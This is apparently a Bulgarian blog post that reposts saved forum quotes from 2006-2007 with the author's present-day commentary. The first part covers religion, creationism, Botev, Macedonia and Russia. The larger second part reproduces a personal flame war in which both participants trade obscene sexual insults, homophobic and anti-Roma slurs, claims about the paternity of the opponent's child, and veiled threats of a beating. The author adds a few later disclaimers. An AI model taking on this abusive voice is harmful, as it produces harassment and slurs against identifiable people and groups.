"Както и да се отнасяш към интелигентността и начините на изразяването й у събеседника си, би следвало да обърнеш внимание на генералния проблем в поста му." Така е. Да не забравяме, че дори и най-точният часовник понякога може да е неточен, както и обратното (че дори спрелият часовник е верен 2 пъти в денонощието). :)
"Ти се опитваш да разрешиш Проблема чрез класическа хватка – откриване на недомислия и фактологически грешки в поста на оспорващия!" Ами да, включително и всякакви аргументум ад хоминем, простащини, псувни... спада нивото на споровете.
"Понеже пак си се посвенил да споделиш моминската си тайна – оценката на диспутирания общ проблем - да те попитам..." Оригинално, хумористично. ;D
"В случая с халдейската религия нещата стават постепенно. Старите вярвания не се изхвърлят а се инкорпорират като се претълкуват както е удобно за съответния момент. Халдейските жреци никога не са оплювали Утринната звезда, напротив, като жреци на религия с астролатричен характер са си я уважавали много." Астролатрията е обожествяване на небесни тела - звезди, Луна, Слънце, комети...
"Мнението ми че макар значение на "Сатана" ("σατᾶν") като "ненавист" е смислово и етимологически допустимо, такова значение не е фиксирано. А ако е, бих искал да знам къде и кога." Много добре казано. "Допустимо" не е равно на "налично", "съществуващо".
"Ааааааа- за малко да УМРЕМ от СМЕХ!!!!!!" ;D Явно е било по-смешно в контекста, но не помня в кой точно.
” Ако това учите в университетите, тогава е ясно защо още стотици години българското образование няма да бъде признато даже и в Тамбукту и като се каже "българска диплома" на Запад ще се почесват дълбокомислено с абсолютно празен поглед. Това което си написал 1. дори и с много зор не може да се нарече "аргументи" 2. дори и да ги приемем за "аргументи", те отдавна са "преодолени" и дори самите християни избягват да ги употребяват в спорове, защото по-просветените са наясно колко им е силата на тия "аргументи" “ Правилно. Искат се сериозни аргументи.
"Охххх – не мога да се успокоя, че да изкажа подобаваща благодарност за така дълбоко аргументираната оценка на поста, образователната система и прочее...;-)
Все пак – да посочим дълбоките научни корени на Знанието :
“Нешънъл джиографик”!!!!!!
Сензация – ето, значи, къде е истинската Наука!
Сполай ти, Приятелю, светнах се значително – сега съм по-умен с барем 50% отгоре! Особено след като прочетох следното за Евангелията, плод на невероятната сплав от фактологическата безупречност на НГ и твоята Проницателност:
...” Въпреки опитите за унищожение все пак то е спасено. Троен радиовъглероден анализ го датира около средата-края на 3-ти век. Долу-горе от това време са и останалите евангелия. Тези 4 които са в Библията не са писани наведнъж, а с разлика едно от друго от десетки години”...
Наздраве!" Удоволствие беше да се четат такива неща, с лек и интелигентен хумор.
"Крационизма няма никакво доказателство за нищо. Той борави само с някои временни неуспехи на другите. Но това не е доказателство на нищо!!!!”..." Напълно съм съгласен. Креационизмът, общо взето, си е едно казване. Едва, напоследък, когато някои физици се заеха да изследват доколко може да живеем във виртуален свят, то може да се говори за научни аргументи, но това също не говори в полза на баш религиозния креационизъм (за Бог), а за възможен/възможни (Демиург/демиурзи, в нерелигиозен смисъл), т. е. създател/създатели в напълно небожествен произход/същност.
Следва...
-
И продължавам с тези неща:
"Е, аз също имам свои доводи, които ме карат да мисля по-различно от стандартите на еволюционизма .Без да отричам научната стойност на явлението, забележи!Така е, защото въпреки креационистичната си ограниченост съм от хората, които са наясно че т.н.”наука” има няколко равнища, т.е – явлението е многопластово и наред с нивата на “върховата” научна освободеност /това е, което разумните хора от всякакъв сорт АДМИРИРАТ в науката/, съществуват и места на догматизирани “научни” напластявания, които след определен етап започват осезателно да пречат на функционирането на първото...." Добре е казано това - догматизирането, дори и научно, не е добре за прогреса.
"Ама и ти си един ми ти спортен запалянко,"разби,та разби"....
С Градския най-приятелски си се майтапим, това нашето не е боксов мач, че да се разбиваме - гледай как разликата в ориентацията може и да не е пречка за добрите взаимоотношения, виж и остроумния му и добронамерен отговор - това е ценното,според мен, а не натриването на нечий понавирен нос:-)
Наздраве!" Наистина, ценно е това, ако съумяват хората въпреки различните си ориентации да са с добри взаимоотношения!
"И че този акт не може да бъде откъснат логически и фактологически от цялостния процес на еволюцията, независимо от заявленията ни за неговата “изучаемост” или “неизучаемост”?" Точно казано. Заявленията са си заявления, а доколкото нещо е акт (факт), дори и да не може да бъде изучавано към момента, то си остава такова.
"Сама по себе си молитвата на Ботев е "хармонична" - т.е - има своята вътрешна логика."Кълбото" се заплита при сравненията между тази вътрешна логика и логиката на други неща в живота на Поета, ама ти така и не успяваш да го схванеш..." Много въпросителни остават около живота на Ботев, както бях споменал и по друг повод.
"....Опа, айде да не смесваме Ботев с религията, нали, kolcho?".....
Цитираш "молитвата" в един религиозен форум, па после цепиш въздуха с този дебилен призив?!?
Хе,хе;-)Кого призоваваш - себе си ли, мене ли?!?...;-)" Не знам какво да добавя към тези им реплики.
"Точно така и в това е и проблемът - в стихотворенето "си личи", а в подвига му под Околчица - Ботев повтаря ОСНОВНОТО "клише" на омразното му християнство - саможертвата.....
Е - в това е работата, която ти така и не искаш да осъзнаеш, поради което се радваме на упоритото криене на главата ти в собствения ти задник, друже!
Трябва да ти кажа, че въпреки постиженията на модерната козметика в областта на дезодорирането, въпросното мероприятие и днес трудно би могло да се определи другояче, освен като "миризливо";-))))
Айде - светни се, уханни;-)" Възвишен хумор направо! ;D ;)
"Че климатът се колебае "естествено" - няма спор.
Я кажи мнението си на професионалист, обаче, дали СКОРОСТТА на актуалните флуктуации е съпоставима с тази на предишните!
И ако, както твърдят някои учени, тази скорост е несъмнено по-висока от досегашните рекорди - как стои проблемът с естествеността?..." И досега много учени заемат доста различни, понякога - противоположни позиции. От голямо глобално затопляне с риск за живота на Планетата до нов ледников период.
"Щото ние тука вкупом и под вещото ти ръководство сме се устремили към “следващото стъпало в познанието, а именно терминологията.”, нали така?...;-)))
И е съществено важно, докато търчим в правилно указаната от теб посока, да не измрем от смях....;-))))
Айде – пак наздраве!" Смешно, но и полезно казано - много е важно да се уточняват понятията, защото иначе стават големи, излишни и погрешни спорове. Така се получи напоследък с един човек, който не уточни какво има предвид под "фалшиво бойно изкуство", та доста време попиляхме.
"Айде комунисто-демократ- царедворецо, да ти чуем мнението за този ФАКТ;-)
Наздраве!" Хе-хе! Страхотно съчетание.
"Това означава, че практиката на арабския тероризъм за мен е нещо абсолютно ОСЪДИТЕЛНО – да убиваш цивилни чрез вярата на млади романтици – не е нещо, което ще адмирирам." Не само този тероризъм - всеки тероризъм е осъдителен!!!
"т.е. демокрацията там е САМО за ЕВРЕИ и от ЕВРЕИ – всички останали са декласирани от обществения живот, арабите са ВТОРО качество хора" Не съм много навътре по отношение на близкоизточните проблеми, но общо взето така стоят нещата и по мое мнение Израел, като нова и модерна държава, е трябвало да бъде изграден на друго място, а не на историческото си. Толкова много еврейски и арабски животи биха били спасени, ако бе станало това.
"Това е ситуация на перманентна ХУМАНИТАРНА катастрофа, която ЕВРЕИТЕ активно поддържат, възползвайки се от естественото желание на арабите за изпълнение на резолюциите на ООН." По това пък още повече не се чувствам достатъчно осведомен, за да го коментирам.
"И понеже никакви основания няма да е употребвана думата в това значения, аз рязвам хипотезата с бръснача на Окам докато привържениците й не ми представят данни че думата е имала такова значение. Каквото обаче считам за възможно, както казах по-горе." Правилно.
"Чета и ползвам Елиаде и уважавам много и усилията които е положил и резултатите които е постигнал. Но не съм му фен. Просто го употребявам. Не се кефя на юнгиански митолози." Това се нарича обективност! (Да не се бърка с обективизма като философия.)
"Аз не твърдя, че нещо трябва да се приема на доверие. Твърдя, че е глупаво, когато нямаш достатъчно данни за извод, да бързаш да си правиш извод." Точно това е големият проблем на много хора в днешно време - правят си заключения на база нищо или почти нищо.
"Без такива земни и близки за хората проверки тази Истина бързо би се обезсмислила – “Идеите живеят чрез Практиката”, както бе казал някой!" Едва ли би се обезсмислила, докато има наистина сериозно-мислещи човеци, но диалектическото единство с практиката наистина е нещо, което поддържа истината (истините).
"твоята очарователна увереност...+ simpati4na neosvedomenost" Даже си има и название, когато става дума за увереност + неосведоменост. :) Викат му "The Dunning-Kruger Effect" (ефект на Дънинг-Крюгер).
"Ха-ха, смело!
Ама за пореден път – основано на незнание..." Дънинг-Крюгерово, демек. :)
"С поста си ти ни предлагаш да сглупим колективно" Честно се случва, когато има стадност.
"класически случай на “роден бунтар” , т.е. психологически тип на човек, схващащ смисъла на живота като низ от “деструкции на авторитети” ...mnojestven edipov kompleks" Има такива хора, но обяснението не е в този измислен комплекс.
"идейно неблагонадеждните" Позабравено словосъчетание, което напоследък възкръсва на не едно място, поне по съдържание (отношение).
Следва...
-
Продължавам със запазени през 2007-ма година. Авторството им ми се губи, но няма как...
"Парадоксално е, че в тези условия на Русия ще бъде по-лесно да строи своя вариант за бъдещето, отколкото да се приспособява към Запада." Много актуално, особено в момента (2023), когато продължава войната на Русия в Украйна! Такъв "вариант на бъдещето" построи Путин, че направо не е за разправяне! Можеше и да се получи с незападния модел на строителство, но ако се беше запазил мирът.
"От тази гледна точка новата Студена война за Русия ще бъде направо благодатна." Можеше, потенциално. Уви, вече не е само студена войната.
"asimetri4na nadprevara" (асиметрична надпревара) - Надпревара - да, но не и тъпи войни.
"И нещата ще се върнат отново към ситуацията отпреди 20-30 години - на предлагане на алтернативи за живот и мотивация. Тук Русия има огромни шансове още повече, че на Запад отдавна върви разрушаването на социалната държава и концентриране на капитала в ръцете на суперолигархията." То пък в Русия сигурно се концентрира този капитал в ръцете на трудещите се?! А шансовете на Русия май отекоха в историята. Сега ако не се разпадне и/или не направи някоя ядрена или друга беля, ще се смята за късметлийска държава.
"От няколко години е ясно, че съвременните технологии за производство и оценяването на труда правят 80 на сто от жителите на Земята излишни." Все още не е така, дори и в днешно време.
"играе познатия от близкото минало гамбит. Засега не е ясно дали е оптимален, но със сигурност няма да е губещ." Това не помня по какъв повод е било, но ако е било за Русия - гамбитът отиде на кино.
"Обективните причини за инфлацията се криеха, а политици и медии размахваха плашилото на спекулата." Вярно за не едно и две места по света. Липсва прозрачност.
"и да лиши САЩ от "правото" еднолично да интерпретират и решават световната политика и да натрапват на всички своите политически, икономически, финансови ..." Да, но лошото е, че след като се получиха тези диктатуризации (направо монархизации) в Русия, Китай, Северна Корея, Белорусия (Беларус), даже неутрални и анти-САЩ субекти започнаха да си казват "Добре, че ги има САЩ, че иначе сме загубени!" Провалите на тези, в които ни бяха надеждите - Китай, Северна Корея, Русия и др. (имам предвид тяхното монархизиране, ксенофобизиране, ограничаване на свободите за собственото население и пр.) направиха САЩ (и страните подобни на САЩ) доста по-привлекателни от преди.
"Най-опасната тактика обаче да се отрича реалността е да не се използват думите, които определят тази реалност. Това е най-старата форма на пропаганда - да се отрича реалността." Да. Особено напоследък, в доста страни по света.
Негативният опит понякога е по-ценен от позитивния (С. Лазарев) -- На това поне съм му запазил авторът. Прав е, относно това. Иначе отдавна не съм почитател на всичко, което пише Сергей Лазарев, защото се видя, че доста от нещата му не са научно подкрепени.
-
И още от тази 2007-ма...
"В процеса на присвояването на чужда история е крайно необходимо присвоителите да оправдаят кражбата.Това става чрез елементарното оплюване на собствениците на въпросната историческа традиция...Вероятно именно така крадците се самолегитимират поне в собствените си очи.
Жалко, ама факт:-(
Утешителното е, че майтапите с македонстваща Глупост тук са невероятно забавни;-))))"
Още от онова време много спорове имаше с македонстващите, македонеещите се и така, и до днес, с вече македонците (северномакедонците). В повечето случаи съм съгласен с българската страна.
"което така трагично осъзнаваме като "смърт" е наше тълкувание на вечната веществена трансформация на Материята....
Така ми се чини;-)" Е, то като общо е така (защото повечето неща са материя, вероятно), но конкретно си е смърт, умиране.
"1.Познание/ в човешки смисъл/ извън съзнанието - мислимо ли е?" Зависи какво мислим (разбираме) под "съзнанние" - ако е само човешкото такова - няма как без него, логично погледнато. Обаче, ако го определяме и като съзнание при животните (най-малкото; да не говорим за изкуствен интелект и за вероятни извънземни), то тогава е мислимо и дори налично. Например има си интелигентни животни, които са способни да научават доста неща, почти като някое човешко дете, че и по-добре понякога.
"оспорването на този ФАКТ е приоритет единствено на ммм... специфични в разумността си хора..." ;D Оригинално. (Ето и целият му контекст: "Ха,ха,хааааа - маклингвиста отново в действие! Маааайтап!
Дружке необременена - че съвременния български език е СЛАВЯНСКИ е толкова безспорно и така ДОКАЗУЕМО, че оспорването на този ФАКТ е приоритет единствено на ммм... специфични в разумността си хора...
Очевидно си мераклия да принадлежиш на тази група - честито!
Ти си 100% македонец;-)")
"Лошото е, че в изявите ти не се забелязват и така необходимите наченки на онова нещо у хората, наречено "здрав разум"...
За да се опитам за пореден път да ги предизвикам/щото не мога да повярвам, че си кръгъл идиот, независимо от изявите ти тук ;-)" Трудно бе, а и все по-трудно става с такива хора, заради нарастващата необразованост, лоша образованост, мозъчна промитост и пр.
"Давай по-конкретничко, друже, сложните съобразявания не ти се удават....;-)" Добро предложение ще да е било. :)
"И пак те призовавам да не се опитваш да газиш из тресавищата на лингвистичните упражнения, с които си въобразяваш, че би защитил незащитими тези - тая работа не е по силите и на макисторичарите, камо ли на тебе..." Правдиво.
"Коментират се ПУБЛИКУВАНИ, а не намерени документи, за които не се знае нищо конкретно!" Така, де. Няма как иначе.
-
Споменавал съм го и по-рано - от интелигентен и добър човек, започна да става агресивен, груб, дори да говори за бой с мене, та се наложи и аз да обърна дебелия край.
"Шизофреничото ми той:))) "ИСКАЛИ" още...:))) По принцип с луди не говоря, но с тебе е забавно. И ще те накарам да си говориш сам, да знаеш." Той също беше рекъл нещо от сорта "Не ми се занимава с ненормални.", та ето ти реципрочност.
___________
"1, Ima6 kompromati koito ne me ebat 6toto
a. ni6to sramno za men nqma tam,"
Ами добре, вярвам ти! Запомни тези си думи.
Ставаше дума за "кирливи ризи" по-скоро, а не за някакви компромати в е-хей кой знае какъв смисъл.
"a s kozmeti4ni defekti i wrodeni nedyzi da se zaqjdat mogat samo MYJKITE PUTKI."
Разбираш ги ти тези неща, в качеството си на такава! В лексиката ти, често се появява "путка", то е ,защото загуби безвъзвратно последната, нали?( Имам сведения, не че нещо). Иначе жена ти пред Берсито казвала, че те иска "САМО ЗАРАДИ ДЕТЕТО", ама то беше отдавна. Не знам дали и тя вече е постижима... Пояснявам, че наистина не е правилно да се атакува човек за нещо вродено, но той сам започна по същия начин (нещо беше за тялото ми, от типа, че не било като на културист ли и от сорта. Да не говорим за останалите му простотии.)
"Taka mislim wsi4ki tuk, nda..."
Шизи, или си луд колкото изглеждаш, или си правиш ВИРТУАЛНИ СЪБЕСЕДНИЦИ, защото НИКОГА не си можел да се изправиш сам срещу опонент! Сещам се колко пъти си ме подканвал да те подкрепям в тази и онази тема. Оттогава ми падна мнението за теб- ужким умен, пък играе с поддръжки...И сега- ама ги няма РЕАЛНИТЕ , та си си измислил виртуално царство от ВИЕ. Добре съм го казал.
"2. ne mi puka za ABV, tam nqmam rabota i samo se razmotawam kogato mi e sku4no."
АКО ИЗЧЕЗНЕШ ТРАЙНО- сигурно ще изчезна и аз. Без тебе, даже и като деградант, не е интересно, макар, че има умни хора, все още. Както писах в началото на темата, ами да, човекът деградира много осезаемо.
"Ele pa na niwo awtoritet da se 4uwstwam angajiran s nekwi wirtualni perkowci za kwoto i da bilo...Lele lele lele..."
Ами що тогава се нервиш за "виртуланите ти упоменавания"? Противоречиш си!
"Mnoo izpadnal me izkara...Da nqma s kogo da si ramenq 2 dum w reala.."
Ами ТЕНДЕНЦИЯ му се казва, миличък!
"3. ti po4na da sere6 redki rusevi lajna ta zatwa sa se zanimawam s tebe."
Не съм , бе! Педерастчето, дето щеше да те заебе в Холандията почна. Въпросният човек наистина си беше казал, че е педераст (хомосексуалист), не съм го обиждал хомофобски или нещо такова. А и, с него, в края на краищата се сдобрихме доколкото си спомням.
"4e i prodyljaw666, kreslyu.....Kwakaj jab4e, kwakaj, ot towa zybi nema da ti porasnat, samo mekite ti byrni na ligavo zemnowodno 666e mi gydeli4kat prepuciuma... ;-))))"
Даже меките бърни на едно земноводно биха схрускали на всяко едно ниво пихтиестата ти същност, въпреки неизбежната и закономерна погнуса ;) каквото повикало, такова се обадило.
"4. a na tebe zlaten samo ti forumi sa ti ostanali da se izkarwa666 na nih kwa si "golema rabota"."
Ами :
а/ Работя малко, щото тука е евтино.
б/ Не ходя по барове, не пия, не пуша.
в/ За огромно мое съжаление се оказа, че на острова си гледат кучета в кухните и в същото време готвят на клиентите, та аз като хипохондрик, се уплаших от кучешка тения и спрях ресторантите- готвят ми само вкъщи.
г/ Разхождам се по малко и тренирам в парка, след което пак вкъщи.
Какво да правя, освен да си чаткам, чета, гледам ТВ или ДВД и да поствам?
След толкова години поуправиха хигиената, вече почти е невъзможно да видиш животно в кухните. Но за евтиното и лесното намиране на работа - няма вече. След императоризацията на Китай и последните абсурдни социално-икономическо-политически грешки животът не е това, което беше.
5." AZ NE SYM PUTyO Georgi da kytkam arhiwi i da klewetq , zlepostawqm i izlagam de kogoto swarq"
Айде стига, ве, дивак! НАЛИ ТОЧНО С ТОВА МЕ ЗАПЛАШИ! Много си въртелив, баш по цигански- като си на позиция си отворен, сгащят ли те- бегаш!!! По-сетне, когато малко си поубогатих циганознанието видях, че си има и смели цигани, а и доста доблестни понякога. Не бива да се правят такива обобщения. А човекът си беше с полуцигански произход, та затова, контекстуално донякъде, съм го писал.
", samo 6totto sym drebna i podla du666ica. 666te te osera po drug na4in....I taka ti ne moje666, werwaj mi."
Милият той, ПАК СИ ВЪОБРАЗЯВА:))) Или какво ли си викаш- аз, така и така, не мога нищо да му направя, ами я да кажа нещо забулено в мъгла, на принципа "От неизвестното - най се страхуват"! Плосък си, Цигойнен:))) И предвидим! Доста ме заплашваше този полуциганин по едно време, та не му оставах длъжен.
"Rabota si namerih kogato mu dode wremeto i zemam kolkoto ti tuk nikoga nqma da moje666 da wzeme666."
Може, ама аз не съм чукундур да съм "ТУКА". Ти самият не искаш, ама няма начин- засра си положението сам и сега чвуркаш в лайната, о, да! И не се хвали много с работа, щото както е казал бившият ти любимец Йешуато- "На хубава длъжност си, щото Отецът ми е решил така":) С други думи- скоро няма да си на такава работа. И понеже си силно мой човек ще ти кажа защо:
СПОМНЯШ ЛИ СИ ПО КОИ МЕХАНИЗМИ НА 2 ПЪТИ ПОЗНАХ, ЧЕ АНА ЩЕ ТЕ ЗАЕБЕ? Ами сега по същите предвиждам, че тази работа няма да ти е за вечно!
Между другото, говорех му по лазаревистки. По-сетне, както се оказа, лазаревите техники не са научно подплътени, но в случая, може би по случайност, се оказах прав.
"No ne mi e dotam da se fukam i da pokazwam pile666ki muskuli ot nqmane drugo."
Ти се фукаше, даже ,когато беше при ебалниците по строежите. Нарцистичен самодоволко си ти и можеш да се похвалиш с всичко (качество забелязано не само от мен). Сега поне аз видях- на цели 2 пъти писа публично, че бачкаш на компютър! Голям праз, ше знаеш!!! За колегите му по строежите - изразих негативизъм, защото той самият така ги описваше - даже понякога "се сбивали", ама то това било "нормално". Е, не!
"Mangalki ne eba . Byrka666 kapancite s mangalite... :-)"
Много ще ми е неприятно да кажа( особено, ако Капанката е до теб, щото това дърто цигле е единственият ти шанс за компания) ЧЕ ТИ САМ СИ ПРИЗНА, ЧЕ Е ЦИГАНКА! ПАЗЯ МЕЙЛА!!! Няма да лъжеш!
Вече казах, че отдавна не съм толкова етноцентричен и циганофобски настроен; понаучих доста за етносите по света. Няма лошо, ако циганката е образована, чиста и пр. да я имаш за гадже, за жена и пр. Не бива да слагаме всички в кюпа.
"Ina4e ne bih imal ni666to protiw. Dora opredeleno ne bq za izfyrlqne ama.....Ne mi se zanimawa666e s jenskiq ti analog."
Хм, ми хубаво, само че това е по-скоро твой аналог, ама нейсе! Хайде, да речем, че признавам, че и двамата можем да те направим на луд и щастлив( макар, че напоследък тя рака ли я цапна к'во ли - свали гарда и избега само при 2 фронтални конфликта с мене)! Онази същата, която планувала с хакера даже да пишат злепоставящи ме в Китай постове, че тук да ми правят проблеми. Да не говорим за другите дребни мизерии.
"PRED PERSIKA NE SYM TE DYNIL ZA NI666TO . NIKOGA. Ne sym Gogo Putkata."
ЛЪЖЕЦ! (на куб) и умножено по 2!!! Дънил си ме пред МНОГО хора! Само това ще ти кажа!
"Zapi666i si go na bille666ka i si go nawri w anusa za da ne zabrawq666."
Ще ти го навра на тебе, идиоте, дето си толкова нагъл!!!
"Twa imah predwid 4e si nenormalen, brato- koga sa me ebali po stroejite az ne pomnq ama 666tom ti kazwa666 4 e taka nema na4in da e bilo ina4e."
Без коментар, че ми е обидно за тебе! Метафорично съм се бил изразил - той сам си казваше, че се биели, че го карали да се качва на високо, а го било страх и какви ли не още, но не помня всичко.
"Ti si prawiq sigurno...Ama samo ti si go znae666....Drugite sa zabludeni, nali?"
Ами можеш да видиш, че загубен спор почти нямам!
"Ne pomnq da mi e kazwala Dora 4e si latentno bi. Az go usetih po twoite izliqniq ...."
Оправдания!
Иначе си ми усетил хуя само мога да ти кажа! Трудно може да се намери по хетеросексуален от мен. Даже напоследък една бисексуална ме критикуваше, че не съм се възхищавал от бисексуалните и хомосексуалните. Ама моля ви се! Не им отричам правата и прайдовете, но няма нужда да им се възхищавам и подкрепям, при положение, че те нито ме подкрепят нито ми се възхищават за моята хетеросексуалност.
"No ni666to 4udno i tq da te e usetila. Te tiq raboti sa o4ewidni. "
Очевидно е само, че си жалък педал, дето си мени тезите, както му дойде! Не знам какво му е очевидното при положение, че по онова време бях женен (за жена, очевидно, а не за мъж или за лейдибой), а и винаги сме обсъждали с него жените, а не мъжете или транссексуалните примерно.
"Ani...Ani e Welika...I we4no 6te q pomnq i obi4am,No e minalo.Ne e aktualna... I 666ut ne sym polu4awal... ;-)"
ХАХАХА, забрави ли, че ми препрати последното й писмо?!( По Борето)
Такъв шут аз даже от Мая не съм получавал! Иначе -помни си я! Само не я закачай, че посланиците на добра воля те чакат. И там се видя колко си "ербап"- отворен, отворен и като те заплаши с борчетата- КРОТНАААА:))) Ами жалък си!
Твърдо подчертавам, че дори и да е имала основание, въпросната жена не е била много права да заплашва с организирана група за побой. Такива неща именно карат много хора да напускат или да не искат да живеят в страната. Аз твърдо се противопоставям на всякакви насилия и "борчески години".
"twa imah predwid i az kato kazah 4e si Putka. "
Путка на путка, вика ли "путка", бе Путка?!
"W ZOOPARKA? Wylcite i 4akalite...Celi glutnici sa bili."
Халюцинираш, в Русенско по време на алтернативната служба беше! Визирах тежкия период в който, в дебел сняг, извървявах 11 километра редовно само и само да се добера до ЖП-гара, за да се върна колкото се може по-бързо при тогавашната си любима Ралица.
"Straha si go ima za mnogo ne666ta. No nekoi mu se wryzwat na strajha.
Han6a i cicite dosta se stopiha."
Щото имаш много добра работа, нали? Или щото отиват парите пиячка и няма за 'лебец?!
Иначе- не се безспокой- и 5 кила да качиш- ще се видят! Не беше много по спорта. А трябва. Аз след като се запалих още повече по спортовете вече почти нямам проблеми с излишни килограми. Е, и броене на калории си трябва!
"A i si beha i sa si MYJKI takiwa."
Да, бе! Нали пък точно ото първите ти препратени писма до Ани, разбрах, че те е срам пред нея да се съблечеш и й се оправдаваш, а тя се опитваше да те успокоява нещо...Да, Ани...сълзички ще ти потекат...
За някакъв вид гинекомастия явно ставаше дума.
"Ne sym se trawmiral nikoga ot towa."
Голяма работа, ти си си травмиран по Съдба!
"Do kato ti si Putka w naj intimnite kyt4eta na mozyka si i s wsqka swoq postypka stawa666 wse po- qwna takawa."
Казала Коца-Путката:)))
"S koeto i priklyu4wam korespondenciqta s tebe, 4uwstwam se omyrsen ot kontakta s takiwa hora kato twoq nizost. "
За това ли си ме засипал с още 2 поста?! Ще им отговарям и на тях, ИМАМ ВРЕМЕ!
"A TI NI ZABAWLQWAJ, MOLQ TE I NE SAMO AZ !"
Шизофрения с пълна газ, а:)))))) Как се казват другите ти лица, мой?
"No ne kleweti publii4no ada666a zameswajki men."
Еййй, добре, че ми припомни, че ти е адаш, ще му викам К. Дрогарски Безвизов, примерно...ЯКО ,А?
"Zabelqzah 4e praznata ti tendjera za 3 gro666a ne e smlqla taq mi molba...
Oswesti se, Gogi...."
Абе те твойте молби едни такива, ултимативни. Що го не помолиш него да си кротне? Не разбра ли, че повече от проститутка в Холандия няма да станеш? Винаги са ми били супер отвратителни такива, които при агресия от страна на други (обикновено неповикана) искат жертвата да се кротне! В слуая - аз. Затова и в момента, без значение, че по принцип не бях фен на Украйна и виждах всичките й проблеми, след като Русия я нападна, няма как да викам Украйна да се предаде, че "да има мир". То така, до безкрай, Русия или някой друг ще си напада, а жертвите трябва да се кротват, че да има мир, докато на света на остане само една държава...
"I MOLQ TE, RAZBRAH 4E 3 PYTI SI SPIRAL NQKOJ SI DA MRE BIE. MOLQ TE, PUSNI GO DA MI SMA4KA FASONA. AKO SI wse o666te 4owek....."
Ами добре!!! Ставаше въпрос, че с един друг искаха да се бият, а аз го уговарях да не се стига до побоища. Накрая, понеже и двамата много настояваха за спаринг, все пак си уговориха среща, с условие да не се удрят по лицето, но един от двамата или и двамата не се появиха на срещата, като, разбира се, всеки каза, че другият е избягал ;D и така се размина всичко мирно и тихо.
"Prosto za majtap....
;-) 666e mu plata bileta ot Plewensko...."
ООО, не е той!!! Знаеш ли кой е? Грифона!!! Този се оказа, че съм играл с него безконтактен спаринг преди 6 години в София!!! Толкова дълго време си пишех с него( даже ти казах- "Ей, човекът е на 43 години, не се закачай с него , не е прилично!" , ама ти каво ми рече- "Кажи му, че е пубер!")
И какво стана приятелю мой Путка Коцева? От дума на дума се оказа, че съм се бил с него( дето викаш, че съм нямал боен опит) в безконтактен спаринг. Значи само да ти кажа, за да не си навличаш белята:
В живота си ме е побеждавал само един човек! И въпреки това с този чичка видях зор И ТО НА БЕЗКОНТАКТЕН СПАРИНГ( ако не знаеш ще ти река, че това е само ,когато се маркират ударите леко), ПРОСТО НЕ ЗНАМ ДАЛИ БИХ МУ ИЗДЪРЖАЛ НА КОНТАКТЕН СПАРИНГ 5 РУНДА!!! А в реален бой, мисля, че би ми надделял за не повече от 3 минути! С други думи- тебе те пиша пребит само от два негови шамара (едва ли ще си играе да ти прави скокове, подсечки и какво ли не). Та си помисли много добре дали да се отваряш и да ме молиш да не го спирам. Понеже дадох всичко от себе си, но леко си го изнервил! А той е човек пенсионер-военен с хоби в бойните изкуства и като такъв търпелив. Но в контакта с тебе се е изнервил и МОЛЯ ТЕ, поне заради това, че ти се кефя на постовете, не ходи да се биеш с негоб- ще те изкара от строя сигурно за поне половин година!
Така че, ти си решавай! Но, според мене, не се прави на герой! Понеже си просто едно лайно!
Както се вижда, прахосал съм време да го предпазвам.
________________
Абе не съвпадам с реалността, ама винаги с няколко седмици преди тебе загрявам за какво иде реч! Както е казал хан Омуртаг- ДОКАЗАТЕЛСТВО, че...е това, че... т.е. ДЕЙСТВИТЕЛНОСТТА! (Визирам диалога му с Киприян, където казал, че прабългарските богове са по-мощни, защото тези, дето им се кланят опустошиха Християнска Византия).
Общо взето съм си визионер. Още от онова време.
________
Знам, че си го променил заради жена, не ме кръщавай! И променяш всичко заради жени, щото са ти кът!
За реките и лапичката- ВЯРВАМ УМЕРЕНО! До доказване на противното! НИКОГА не съм против НАУКАТА! Така, че съм ориентиран аз, а ти би лапнал по религията, ако Ани ти обещае да се ожени за теб с това условие!
Вече и умерено не вярвам, ако не е наистина доказано. Фейкнюзовете (фалшивите новини), пост-истините и пр. още повече ме убедиха, че не трябва да се вярва и на йота.
_________
За Будизма- ами да може да се каже, че е възникнал като секта. НО СЕГА НЯМА НИЩО ОБЩО С ХИНДУИЗМА. А и как е възникнал няма значение, важното е как е преработен в Ламаизма. :))) Вече не съм будист. Игностик съм.
_________
От един кьотек се получават ЛЕКИ, СРЕДНИ или ТЕЖКИ телесни повреди - акъллия като тебе требе да го знае! Това по повод на глупавото му твърдение, че "Никой не е умрял от малко кьотек." Някои хора само от един удар умират. Та не е препоръчително да се биеш, ако не е много крайно наложително!
_________
Може да не те е срам, щото си загорял и срамът отива на заден план! Пред нагона, по-късно формираните неща като чувство на срам, отстъпват. Ама няма да те огрее! Само проститутка ще те обслужи! И слагай гума, че има СПИН!
_________
Вярно е, че кой какво намира за красиво е субективно, ама ти си толкова специфичен, че явно би бил красив нейде в Пакистан (и пак не е сигурно, освен ако Мушараф не ти даде едно рамо). :)))) Ставаше дума, че някои хора са толкова непривлекателни, че трябва да си търсят държава, където ще са по-привлекателни. А за най-непривлекателнте дори тази стратегия не е сигурна.
Контактът с мене, не ти е стимул? Ами, че тогава що с никой не намираш стимул напоследък?
Аз не представям желаното за действително! Даже ти казвам - опомни се! За да не излезне, че си представям осакатяването ти от Майстор Грифон реално! До последно грижа да не стане някой реален сакатлък. Отговорен съм си като човек аз. А и, както споменах, всичко се размина с "Аз отидох, но онзи страхливец не дойде." и от двете страни. ;D
-
Втора част. Относно същия човек, също от 2006-та:
1. Ти деца не можеш да правиш, понеже русото ти, белоснежно момиченце си личи, че е от белия ти съсед,но не и от теб.
2. За разлика от жена ти, която ме намери за сладък, Нинг смята, че си мангал (което си е вярно).
3. И аз те съжалявам, ама така или иначе Майстор Грифон ще те пребие и унизи, както си го искаше...Та, от съжаление файда няма! Иначе пак ти казвам - размисли се, не си слагай главата в торбата! Тоя ще те отнесе като куцо пиле домат!
Твоята малка путка...ами да, това е причината да не можеш да правиш деца, мой човек!
*********
Пояснения -- то е нещо като "народна традиция" да се говори за изневери със съседа/съседката, та аз съм ползвал шаблона. Но... наистина детето не прилича никак на него, та имало е резон.
Жена му наистина беше писала комплименти за мен, а тогавашната моята, за него, не.... Даже се карах аз с нея, че по едно време не искаше да му помагаме да го уреждаме за работа в Китай, по онова време, а аз му бях обещал... сега вече няма, защото Китай се привръща във все по-императоризирана и, малко или повече, ксенофобска държава.
Няма смисъл от бабаитлъци и бабаитлъщини. До последно го предупреждавах.
Аз педофил? Ами трясни още някоя ракийка (пък то детето ти мравки ще яде, като пропиваш всичките му пари), та може и геронтофил да ти се сторя!
Много е кофти това. Личен опит имам с родител, който даваше пари за пиене, но не и за храна, дори и като е имало нужда!
